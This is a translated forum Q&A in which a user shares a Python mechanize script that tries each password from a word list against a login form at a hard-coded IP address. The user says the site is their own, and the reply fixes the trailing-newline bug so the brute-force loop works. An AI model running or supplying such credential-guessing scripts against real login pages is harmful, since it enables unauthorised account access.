[英]Python using mechanize to login from a text file
编辑:是的,这是我自己的网站。
我正在使用一个文本文件,其中有2000多个密码,其中一个是我放置的正确密码,然后用于遍历密码并使用机械化检查它是否是正确的密码。
但是问题是:它永远不会识别它,但是会识别是否将密码设置为正确的密码? 不知道为什么会这样,所以我发布了这个线程。
这是代码:
import mechanize
f = open("words.txt", 'r') #
opens the word list you specified
for line in f:
br = mechanize.Browser()
br.open("http://185.40.21.34/pages/examples/login.php")
br.select_form("form")
print "Current password:", line
br["email"] = "Test"
br["password"] = line
br.submit()
if br.geturl() == "http://185.40.21.34/index.php":
print "Password found !"
这是因为当您遍历文件时,所有行都将以\\ n结尾。要更正,您必须编写
line = line.replace('\n', '')
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.